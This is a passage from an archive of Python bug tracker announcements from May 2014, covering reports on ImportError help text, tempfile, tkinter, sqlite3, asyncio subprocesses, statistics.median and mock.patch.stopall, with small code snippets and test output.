Block: j5 = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6}
Block: j6 = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 6}
Block: 10d = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7}
Block: 10e = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7}
Block: 10f = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7}
Block: 10g = {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7} same as {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7}

Actually SetPositions = {} result:
{   '10d': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '10e': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '10f': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '10g': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '10h': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    '10i': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    '10j': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    '2d': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    '2e': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    '2f': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    '4e': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '4f': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '4g': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '4h': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    '6d': {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3},
    '6e': {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3},
    '8c': {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3},
    '8d': {'Blocks': 2, 'Name': 'Mijnenveger', 'uuid': 3},
    'd3': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    'd4': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    'd5': {'Blocks': 3, 'Name': 'Fregatten', 'uuid': 5},
    'j3': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    'j4': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    'j5': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7},
    'j6': {'Blocks': 4, 'Name': 'Kruiser', 'uuid': 7}}

uuid are overwritten, but where? It seems like a Python bug, but don't really know to be sure, so sorry if it isn't one.

----------
files: 1.py
messages: 219090
nosy: beta990
priority: normal
severity: normal
status: open
title: Overwritten (custom) uuid inside dictionary
versions: Python 3.4
Added file: http://bugs.python.org/file35350/1.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21576>
_______________________________________

From report at bugs.python.org  Mon May 26 06:27:28 2014
From: report at bugs.python.org (Eric Snow)
Date: Mon, 26 May 2014 04:27:28 +0000
Subject: [New-bugs-announce] [issue21577] Help for ImportError should show a
	more useful signature.
Message-ID: <1401078448.87.0.796266837202.issue21577@psf.upfronthosting.co.za>


New submission from Eric Snow:

Currently:

  __init__(self, /, *args, **kwargs)

Proposed:

  __init__(self, /, *args, name=None, path=None, **kwargs)

Even that is still a little vague, but at least it doesn't gloss over the kwonly args added in 3.3.

----------
components: Interpreter Core
messages: 219124
nosy: brett.cannon, eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Help for ImportError should show a more useful signature.
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21577>
_______________________________________

From report at bugs.python.org  Mon May 26 06:31:35 2014
From: report at bugs.python.org (Eric Snow)
Date: Mon, 26 May 2014 04:31:35 +0000
Subject: [New-bugs-announce] [issue21578] Misleading error message when
	ImportError called with	invalid keyword args
Message-ID: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za>


New submission from Eric Snow:

>>> ImportError(spam='spam')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: ImportError does not take keyword arguments

However, it *does* take keyword arguments:

>>> ImportError(name='spam', path='spam')
ImportError()

----------
components: Interpreter Core
messages: 219125
nosy: brett.cannon, eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Misleading error message when ImportError called with invalid keyword args
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21578>
_______________________________________

From report at bugs.python.org  Mon May 26 07:47:59 2014
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Mon, 26 May 2014 05:47:59 +0000
Subject: [New-bugs-announce] [issue21579] Python 3.4: tempfile.close
	attribute does not work
Message-ID: <1401083279.44.0.182194375794.issue21579@psf.upfronthosting.co.za>


New submission from ???? ?????????:

Suppose code:
=====================================
import os
import tempfile

want_to_replace = 'zxc.dat'
tmpdir=os.path.dirname(os.path.realpath(want_to_replace))
with tempfile.NamedTemporaryFile(dir=tmpdir) as fff:
    # do somewhat with fff here... and then:
    fff.flush()
    os.fdatasync(fff)
    os.rename(fff.name, want_to_replace)
    fff.delete = False
=====================================
In python 3.3 and lower that works FINE. In Python 3.4 the fff._closer attribute was introduced, so fff.close=False stopped to work. I think this is major loss of functionality. The "close" attribute was not marked as private, so may be used in past.

----------
components: Library (Lib)
messages: 219132
nosy: mmarkk
priority: normal
severity: normal
status: open
title: Python 3.4: tempfile.close attribute does not work
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21579>
_______________________________________

From report at bugs.python.org  Mon May 26 07:52:24 2014
From: report at bugs.python.org (Martin Panter)
Date: Mon, 26 May 2014 05:52:24 +0000
Subject: [New-bugs-announce] [issue21580] PhotoImage(data=...) apparently
	has to be UTF-8 or	Base-64 encoded
Message-ID: <1401083544.46.0.470654104454.issue21580@psf.upfronthosting.co.za>


New submission from Martin Panter:

At the bottom of the ?tkinter? doc page it mentions the ?data? option is available. However I was unable to get it to work well when passing a plain bytes() string in. It seems the bytes() string gets interpreted as UTF-8 somewhere along the line, although the underlying TCL library apparenly handles byte strings fine itself. Passing binary GIF and PNG data in Python would usually produce strange exceptions, crashes, and blank images for me.

I found this message with a simple patch which might be useful, though I?m not familiar with the code involved to understand the implications:
https://mail.python.org/pipermail/tkinter-discuss/2012-April/003108.html

Even if that fix is not appropriate, can I suggest adding to the documentation to say the data should be encoded with one of these options that seem to work? The Base-64 one is probably better.

PhotoImage(data=data.decode("latin-1).encode("utf-8"))
PhotoImage(data=base64.encodebytes(data))

----------
assignee: docs at python
components: Documentation, Tkinter
messages: 219133
nosy: docs at python, vadmium
priority: normal
severity: normal
status: open
title: PhotoImage(data=...) apparently has to be UTF-8 or Base-64 encoded
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21580>
_______________________________________

From report at bugs.python.org  Mon May 26 16:51:37 2014
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 26 May 2014 14:51:37 +0000
Subject: [New-bugs-announce] [issue21581] Consider dropping
	importlib.abc.Loader.create_module()
Message-ID: <1401115897.78.0.38815519118.issue21581@psf.upfronthosting.co.za>


New submission from Brett Cannon:

As Armin Ronacher pointed out, it's a bit odd having the importlib.abc.Loader ABC have a method whose default does nothing and having the method itself be entirely optional. Might as well just drop it from the ABC and instead just make sure that create_module() is documented appropriately (it's such an advanced use case it might also simplify things to not have it in the typical user's face).

----------
components: Library (Lib)
messages: 219159
nosy: brett.cannon
priority: normal
severity: normal
stage: test needed
status: open
title: Consider dropping importlib.abc.Loader.create_module()
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21581>
_______________________________________

From report at bugs.python.org  Mon May 26 16:59:46 2014
From: report at bugs.python.org (diana)
Date: Mon, 26 May 2014 14:59:46 +0000
Subject: [New-bugs-announce] [issue21582] use the
	support.catpured_stdout/stderr context managers	- test_asyncore
Message-ID: <1401116386.06.0.283011419126.issue21582@psf.upfronthosting.co.za>


New submission from diana:

Updated test_asyncore to use the support.catpured_stdout/stderr context managers rather than try/finally blocks.

----------
components: Tests
files: use_support_captured_test_asyncore.patch
keywords: patch
messages: 219162
nosy: diana
priority: normal
severity: normal
status: open
title: use the support.catpured_stdout/stderr context managers - test_asyncore
versions: Python 3.5
Added file: http://bugs.python.org/file35370/use_support_captured_test_asyncore.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21582>
_______________________________________

From report at bugs.python.org  Mon May 26 19:35:10 2014
From: report at bugs.python.org (diana)
Date: Mon, 26 May 2014 17:35:10 +0000
Subject: [New-bugs-announce] [issue21583] use support.catpured_stderr
	context manager -	test_logging
Message-ID: <1401125710.75.0.955154923721.issue21583@psf.upfronthosting.co.za>


New submission from diana:

- Updated test_asyncore to use the support.catpured_stderr context manager
- Removed unused imports

----------
components: Tests
files: use_support_captured_stderr_test_logging.patch
keywords: patch
messages: 219165
nosy: diana
priority: normal
severity: normal
status: open
title: use support.catpured_stderr context manager - test_logging
versions: Python 3.5
Added file: http://bugs.python.org/file35371/use_support_captured_stderr_test_logging.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21583>
_______________________________________

From report at bugs.python.org  Mon May 26 22:05:45 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 May 2014 20:05:45 +0000
Subject: [New-bugs-announce] [issue21584] Unraised overflow error in
	sqlite3.Row indexing
Message-ID: <1401134745.16.0.844451458443.issue21584@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

When integer index overflows C long, sqlite3.Row.__getitem__() doesn't raise an exception. Instead overflow exception is raised later.

>>> import sqlite3
>>> con = sqlite3.connect(":memory:")
>>> con.row_factory = sqlite3.Row
>>> row = con.execute("select 1 as a, 2 as b").fetchone()
>>> row[2**1000]
2
>>> 
OverflowError: Python int too large to convert to C long

----------
assignee: serhiy.storchaka
components: Extension Modules
keywords: easy
messages: 219174
nosy: Claudiu.Popa, ghaering, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Unraised overflow error in sqlite3.Row indexing
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21584>
_______________________________________

From report at bugs.python.org  Mon May 26 22:53:59 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 26 May 2014 20:53:59 +0000
Subject: [New-bugs-announce] [issue21585] Run Tkinter tests with
	wantobjects=False
Message-ID: <1401137639.41.0.24885887123.issue21585@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

The wantobjects attribute of the tkinter module is True by default, and all Tkinter tests run with wantobjects=True. We need to test Tkinter with wantobjects=False too. All Tkinter tests should be ran twice, in both mode.

----------
components: Tests, Tkinter
messages: 219178
nosy: gpolo, serhiy.storchaka, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Run Tkinter tests with wantobjects=False
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21585>
_______________________________________

From report at bugs.python.org  Tue May 27 00:01:46 2014
From: report at bugs.python.org (Daniel Fisher)
Date: Mon, 26 May 2014 22:01:46 +0000
Subject: [New-bugs-announce] [issue21586] Minor error "How To Sockets"
Message-ID: <1401141706.98.0.611136529928.issue21586@psf.upfronthosting.co.za>


New submission from Daniel Fisher:

There is a minor error in the documentation page "https://docs.python.org/2/howto/sockets.html"

Line 31 of the sample program of the program listed under "Using a Socket" reads chucks.append(chunk). It should read chunks.append(chunk). Without this minor correction, the sample program will not run.

----------
assignee: docs at python
components: Documentation
messages: 219182
nosy: Daniel.Fisher, docs at python
priority: normal
severity: normal
status: open
title: Minor error "How To Sockets"
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21586>
_______________________________________

From report at bugs.python.org  Tue May 27 00:07:26 2014
From: report at bugs.python.org (Joshua Landau)
Date: Mon, 26 May 2014 22:07:26 +0000
Subject: [New-bugs-announce] [issue21587] Tabs in source
Message-ID: <1401142046.69.0.792186764708.issue21587@psf.upfronthosting.co.za>


New submission from Joshua Landau:

There are tabs in the source:

http://hg.python.org/cpython/file/5c8d71516235/Include/listobject.h#l49

I don't really know, but this seems like a release blocker to me ;).

----------
messages: 219183
nosy: Joshua.Landau
priority: normal
severity: normal
status: open
title: Tabs in source

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21587>
_______________________________________

From report at bugs.python.org  Tue May 27 07:09:14 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 27 May 2014 05:09:14 +0000
Subject: [New-bugs-announce] [issue21588] Idle: make editor title bar user
	configurable
Message-ID: <1401167354.94.0.454935095166.issue21588@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

#17390 changes the title bars for (so far), shell and editor windows. While the editor window change helps me (for reasons given on the issue) and got no objection, before being pushed, from people nosy on the issue, others have found it objectionable in practice. Since no one solution satisfies all use cases, I propose to make the editor_title format user configurable. Since extra keywords are ignored, as in
  >>> "{short}".format(short='abc', long='xyz')
  'abc'
users can omit and arrange fields as they please in editor_title, which would then be called with all 3 variable field values. 
  editor_title.format(short=short, long=long, version=version)
I believe editor_title = '{short} - {long}' produces the previous title. That can be the default.

A complication is that EditorWindow is also the base window class for Shell and Output windows. The title is calculated and set in a generic
 def saved_change_hook(self):  # line 921 in 3.3
However, I believe that having non-empty short and long names is unique to editor windows (must recheck). If so. the format call could go in the second line of 
 if short and long:
   title = short + " - " + long
If untitled files were given a 'long' title of '(no file)', then they would be handled by the same clause. Explaining why a window is 'untitled' (no file to title it from) might be a benefit anyway.

Some other possible solutions: Add parameter editor=False to saved_change_hook. Make EditorWindow a subclass of a generic Base Editor and move things specific to EditorWindow to the subclass.

----------
assignee: terry.reedy
messages: 219198
nosy: terry.reedy
priority: high
severity: normal
stage: needs patch
status: open
title: Idle: make editor title bar user configurable
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21588>
_______________________________________

From report at bugs.python.org  Tue May 27 14:22:37 2014
From: report at bugs.python.org (Claudiu.Popa)
Date: Tue, 27 May 2014 12:22:37 +0000
Subject: [New-bugs-announce] [issue21589] Use better idiom in unittest
	example
Message-ID: <1401193357.7.0.00487480253361.issue21589@psf.upfronthosting.co.za>


New submission from Claudiu.Popa:

Hello.

This patch proposes using `assertIn` in the first unittest example, instead of `assertTrue(x in seq)`. This is clearer and recommending it first is better for beginners.

----------
assignee: docs at python
components: Documentation
files: unittest_better_idiom.patch
keywords: patch
messages: 219216
nosy: Claudiu.Popa, docs at python
priority: normal
severity: normal
status: open
title: Use better idiom in unittest example
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35378/unittest_better_idiom.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21589>
_______________________________________

From report at bugs.python.org  Tue May 27 15:06:35 2014
From: report at bugs.python.org (Bohuslav "Slavek" Kabrda)
Date: Tue, 27 May 2014 13:06:35 +0000
Subject: [New-bugs-announce] [issue21590] Systemtap and DTrace support
Message-ID: <1401195995.8.0.935339035852.issue21590@psf.upfronthosting.co.za>


New submission from Bohuslav "Slavek" Kabrda:

This is a tracking bug for development of combined systemtap and dtrace patch for Python. The separate patches were submitted at [1] (systemtap) and [2] (dtrace).
Since it was agreed that it'd be best to merge the two patches to reuse as much code as possible between them, I'm opening this issue to track the progress and discuss possible improvements and suggestions.

[1] http://bugs.python.org/issue14776
[2] http://bugs.python.org/issue13405

----------
components: Interpreter Core
messages: 219219
nosy: bkabrda, jcea
priority: normal
severity: normal
status: open
title: Systemtap and DTrace support
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21590>
_______________________________________

From report at bugs.python.org  Wed May 28 10:47:59 2014
From: report at bugs.python.org (Robert Jordens)
Date: Wed, 28 May 2014 08:47:59 +0000
Subject: [New-bugs-announce] [issue21591] "exec(a, b,
	c)" not the same as "exec a in b, c" in nested functions
Message-ID: <1401266879.61.0.867969486588.issue21591@psf.upfronthosting.co.za>


New submission from Robert Jordens:

According to the documentation the "exec a in b, c" is equivalent to "exec(a, b, c)". But in the testcase below the tuple form causes a SyntaxError while the statement form works fine.


diff -r e770d8c4291c Lib/test/test_compile.py
--- a/Lib/test/test_compile.py	Tue May 27 03:30:44 2014 -0400
+++ b/Lib/test/test_compile.py	Wed May 28 02:45:31 2014 -0600
@@ -90,6 +90,22 @@
         with self.assertRaises(TypeError):
             exec("a = b + 1", g, l) in g, l
 
+    def test_nested_qualified_exec(self):
+        # Can use qualified exec in nested functions.
+        code = ["""
+def g():
+    def f():
+        if True:
+            exec "" in {}, {}
+        """, """
+def g():
+    def f():
+        if True:
+            exec("", {}, {})
+        """]
+        for c in code:
+            compile(c, "<code>", "exec")
+
     def test_exec_with_general_mapping_for_locals(self):
 
         class M:


SyntaxError: unqualified exec is not allowed in function 'f' it is a nested function (<code>, line 5)

----------
components: Interpreter Core
messages: 219259
nosy: Robert.Jordens
priority: normal
severity: normal
status: open
title: "exec(a, b, c)" not the same as "exec a in b, c" in nested functions
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21591>
_______________________________________

From report at bugs.python.org  Wed May 28 14:11:38 2014
From: report at bugs.python.org (Thomas Dybdahl Ahle)
Date: Wed, 28 May 2014 12:11:38 +0000
Subject: [New-bugs-announce] [issue21592] Make statistics.median run in
	linear time
Message-ID: <1401279098.1.0.387904478686.issue21592@psf.upfronthosting.co.za>


New submission from Thomas Dybdahl Ahle:

The statistics module currently contains the following comment:

"FIXME: investigate ways to calculate medians without sorting? Quickselect?"

This is important, because users expect standard library functions to use state of the art implementations, and median by sorting has never been that.

There are many good linear time alternatives, the classical median-of-k algorithm was posted to the mailing list in a nice version by David Eppstein in 2002 [1]. The fastest method in practice is probably Quick Select in the Floyd-Rivest version [2] which is similar to quick sort.

These algorithms also have the feature of letting us select any k-th order statistic, not just the median. This seems conceptually a lot simpler than the current median/median_low/median_high split.

However, sticking with the current api, a new implementation would have to support calculating a median as the average of n//2 and (n+1)//2'th order statistics. This could be implemented either by calling the select function twice, or by implementing a multi-select algorithm, which is also a well studied problem [3].

I'll be happy to contribute code, or help out in any other way.

[1]: https://mail.python.org/pipermail/python-list/2002-May/132170.html
[2]: https://en.wikipedia.org/wiki/Floyd%E2%80%93Rivest_algorithm
[3]: https://domino.mpi-inf.mpg.de/intranet/ag1/ag1publ.nsf/0/59C74289A2291143C12571C30017DEA8/$file/Mehlhorn_a_2005_o.pdf

----------
components: Library (Lib)
messages: 219265
nosy: Thomas.Dybdahl.Ahle
priority: normal
severity: normal
status: open
title: Make statistics.median run in linear time
type: performance
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21592>
_______________________________________

From report at bugs.python.org  Wed May 28 16:39:26 2014
From: report at bugs.python.org (Joshua Landau)
Date: Wed, 28 May 2014 14:39:26 +0000
Subject: [New-bugs-announce] [issue21593] Clarify re.search documentation
	first match
Message-ID: <1401287966.38.0.860641123785.issue21593@psf.upfronthosting.co.za>


New submission from Joshua Landau:

The documentation for re.search does not state that it returns the first match. This should be added, or a clarification added if this is implementation-defined.

https://docs.python.org/3/library/re.html#re.search

---

See also

http://stackoverflow.com/questions/23906400/is-regular-expression-search-guaranteed-to-return-first-match

----------
assignee: docs at python
components: Documentation
messages: 219270
nosy: Joshua.Landau, docs at python
priority: normal
severity: normal
status: open
title: Clarify re.search documentation first match
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21593>
_______________________________________

From report at bugs.python.org  Wed May 28 18:06:40 2014
From: report at bugs.python.org (Sebastian Kreft)
Date: Wed, 28 May 2014 16:06:40 +0000
Subject: [New-bugs-announce] [issue21594] asyncio.create_subprocess_exec
	raises OSError
Message-ID: <1401293200.2.0.763009510158.issue21594@psf.upfronthosting.co.za>


New submission from Sebastian Kreft:

In some cases asyncio.create_subprocess_exec raises an OSError because there are no file descriptors available.

I don't know if that is expected, but IMO I think it would be better to just block until the required numbers of fds are available. Otherwise one would need to do this handling, which is not a trivial task.

This issue is happening in Debian 7, with a 3.2.0-4-amd64 kernel, and python 3.4.1 compiled from source.

----------
messages: 219285
nosy: Sebastian.Kreft.Deezer
priority: normal
severity: normal
status: open
title: asyncio.create_subprocess_exec raises OSError
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21594>
_______________________________________

From report at bugs.python.org  Wed May 28 18:18:25 2014
From: report at bugs.python.org (Sebastian Kreft)
Date: Wed, 28 May 2014 16:18:25 +0000
Subject: [New-bugs-announce] [issue21595] Creating many subprocess generates
	lots of internal	BlockingIOError
Message-ID: <1401293905.24.0.60580037819.issue21595@psf.upfronthosting.co.za>


New submission from Sebastian Kreft:

Using the asyncio.create_subprocess_exec, generates lost of internal error messages. These messages are:

Exception ignored when trying to write to the signal wakeup fd:
BlockingIOError: [Errno 11] Resource temporarily unavailable

Getting the messages depeneds on how many subprocesses are active at the same time. In my system (Debian 7, kernel 3.2.0-4-amd64, python 3.4.1), with 3 or less processes at the same time I don't see any problem, but with 4 or more I got lot of messages.

On the other hand, these error messages seem to be innocuous, as no exception seems to be raised.

Attached is a test script that shows the problem.

It is run as:
bin/python3.4 test_subprocess_error.py <MAX_PROCESSES> <ITERATIONS>

it requires to have the du command.


Let me know if there are any (conceptual) mistakes in the attached code.

----------
files: test_subprocess_error.py
messages: 219288
nosy: Sebastian.Kreft.Deezer
priority: normal
severity: normal
status: open
title: Creating many subprocess generates lots of internal BlockingIOError
versions: Python 3.4
Added file: http://bugs.python.org/file35385/test_subprocess_error.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21595>
_______________________________________

From report at bugs.python.org  Wed May 28 18:22:29 2014
From: report at bugs.python.org (Sebastian Kreft)
Date: Wed, 28 May 2014 16:22:29 +0000
Subject: [New-bugs-announce] [issue21596] asyncio.wait fails when futures
	list is empty
Message-ID: <1401294149.12.0.93780466725.issue21596@psf.upfronthosting.co.za>


New submission from Sebastian Kreft:

Passing an empty list/set of futures to asyncio.wait raises an Exception, which is a little annoying in some use cases.

Probably this was the intended behavior as I see there's a test case for that. If such, then I would propose to document that behavior.

----------
assignee: docs at python
components: Documentation
messages: 219290
nosy: Sebastian.Kreft.Deezer, docs at python
priority: normal
severity: normal
status: open
title: asyncio.wait fails when futures list is empty
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21596>
_______________________________________

From report at bugs.python.org  Wed May 28 21:53:07 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 28 May 2014 19:53:07 +0000
Subject: [New-bugs-announce] [issue21597] Allow turtledemo code pane to get
	wider.
Message-ID: <1401306787.8.0.543638067901.issue21597@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Turtledemo (python -m turtledemo) has a text pane for code and a canvas pane for the actual demo. The code pane is fixed at about 60% of the width needed to display full-width code lines. If the window is expanded horizontally, all the expansion goes to the canvas pane, where it is mostly not needed or used. Almost all the examples are a fixed size on the canvas, independent of the size of the window on the canvas. 

Having the text pane too narrow makes it harder to read and copy the code than it would be if entire code lines were visible. The default width of the overall window is about 1250 pixels on my big monitor. Many people have more pixels than that. Even on smaller screen, people might like to temporarily allocate more space to the text. So I think the best solution, if possible with tkinter, would be a movable divider.

----------
messages: 219296
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Allow turtledemo code pane to get wider.
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21597>
_______________________________________

From report at bugs.python.org  Thu May 29 04:18:10 2014
From: report at bugs.python.org (Santoso Wijaya)
Date: Thu, 29 May 2014 02:18:10 +0000
Subject: [New-bugs-announce] [issue21598] Is __getitem__ and __len__
	implementations enough to	make a user-defined class sliceable?
Message-ID: <1401329890.84.0.11879897607.issue21598@psf.upfronthosting.co.za>


New submission from Santoso Wijaya:

The reference doc for Python data model says that __getslice__ is deprecated [1], and that __getitem__ should be used instead:


"""
Deprecated since version 2.0: Support slice objects as parameters to the __getitem__() method. (However, built-in types in CPython currently still implement __getslice__(). Therefore, you have to override it in derived classes when implementing slicing.)
"""


But I'm getting the following behavior when I try it myself. Is there something I'm missing?



$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class tup(object):
...     def __getitem__(self, i):
...             if i == 0: return 0
...             if i == 1: return 1
...             
KeyboardInterrupt
>>> class tup(object):
...     def __getitem__(self, i):
...             if i in (0, 1): return i
...             else: raise IndexError()
...     def __len__(self):
...             return 2
... 
>>> t = tup()
>>> len(t)
2
>>> t[0], t[1]
(0, 1)
>>> t[:2]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 4, in __getitem__
IndexError
>>> t[:1]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 4, in __getitem__
IndexError



[1] https://docs.python.org/2/reference/datamodel.html#object.__getslice__

----------
components: Library (Lib)
messages: 219326
nosy: santa4nt
priority: normal
severity: normal
status: open
title: Is __getitem__ and __len__ implementations enough to make a user-defined class sliceable?
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21598>
_______________________________________

From report at bugs.python.org  Thu May 29 05:16:17 2014
From: report at bugs.python.org (Vajrasky Kok)
Date: Thu, 29 May 2014 03:16:17 +0000
Subject: [New-bugs-announce] [issue21599] Argument transport in attach and
	detach method in Server	class in base_events file is not used
Message-ID: <1401333377.1.0.573803029837.issue21599@psf.upfronthosting.co.za>


New submission from Vajrasky Kok:

In Lib/asyncio/base_events.py, we have these lines of code:

-----------------------------------------------------------
    def attach(self, transport):
        assert self.sockets is not None
        self.active_count += 1

    def detach(self, transport):
        assert self.active_count > 0
        self.active_count -= 1
        if self.active_count == 0 and self.sockets is None:
            self._wakeup()
------------------------------------------------------------

The transport is not used. We can remove them. Here is the patch to remove the arguments.

If for higher philosophical reason, we need this unused argument, maybe we can comment it.

----------
components: Library (Lib)
files: remove_transport_in_base_events.patch
keywords: patch
messages: 219328
nosy: haypo, vajrasky
priority: normal
severity: normal
status: open
title: Argument transport in attach and detach method in Server class in base_events file is not used
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file35396/remove_transport_in_base_events.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21599>
_______________________________________

From report at bugs.python.org  Thu May 29 05:35:28 2014
From: report at bugs.python.org (fumihiko kakuma)
Date: Thu, 29 May 2014 03:35:28 +0000
Subject: [New-bugs-announce] [issue21600] mock.patch.stopall doesn't work
	with patch.dict to	sys.modules
Message-ID: <1401334528.48.0.358693350259.issue21600@psf.upfronthosting.co.za>


New submission from fumihiko kakuma:

It seems that stopall doesn't work when do start patch.dict to sys.modules.
I show sample scripts the following.

Using stopall test case seems to always refer the first mock foo object.
But using stop it refers a new mock foo object.

$ cat test_sampmod.py
import foo

def myfunc():
    print "myfunc foo=%s" % foo
    return foo
$ cat test_samp.py
import mock
import sys
import unittest


class SampTestCase(unittest.TestCase):
    def setUp(self):
        self.foo_mod = mock.Mock()
        self.m = mock.patch.dict('sys.modules', {'foo': self.foo_mod})
        self.p = self.m.start()
        print "foo_mod=%s" % self.foo_mod
        __import__('test_sampmod')
        self.test_sampmod = sys.modules['test_sampmod']

    def tearDown(self):
        if len(sys.argv) > 1:
            self.m.stop()
            print ">>> stop patch"
        else:
            mock.patch.stopall()
            print ">>> stopall patch"

    def test_samp1(self):
        self.assertEqual(self.foo_mod, self.test_sampmod.myfunc())

    def test_samp2(self):
        self.assertEqual(self.foo_mod, self.test_sampmod.myfunc())

    def test_samp3(self):
        self.assertEqual(self.foo_mod, self.test_sampmod.myfunc())

if __name__ == '__main__':
    suite = unittest.TestSuite()
    suite.addTest(unittest.TestLoader().loadTestsFromTestCase(SampTestCase))
    unittest.TextTestRunner(verbosity=2).run(suite)
$ python test_samp.py stop
test_samp1 (__main__.SampTestCase) ... foo_mod=<Mock id='41504336'>
myfunc foo=<Mock id='41504336'>
>>> stop patch
ok
test_samp2 (__main__.SampTestCase) ... foo_mod=<Mock id='41504464'>
myfunc foo=<Mock id='41504464'>
>>> stop patch
ok
test_samp3 (__main__.SampTestCase) ... foo_mod=<Mock id='41504720'>
myfunc foo=<Mock id='41504720'>
>>> stop patch
ok

----------------------------------------------------------------------
Ran 3 tests in 0.004s

OK
$ python test_samp.py
test_samp1 (__main__.SampTestCase) ... foo_mod=<Mock id='19152464'>
myfunc foo=<Mock id='19152464'>
>>> stopall patch
ok
test_samp2 (__main__.SampTestCase) ... foo_mod=<Mock id='19152592'>
myfunc foo=<Mock id='19152464'>
FAIL
>>> stopall patch
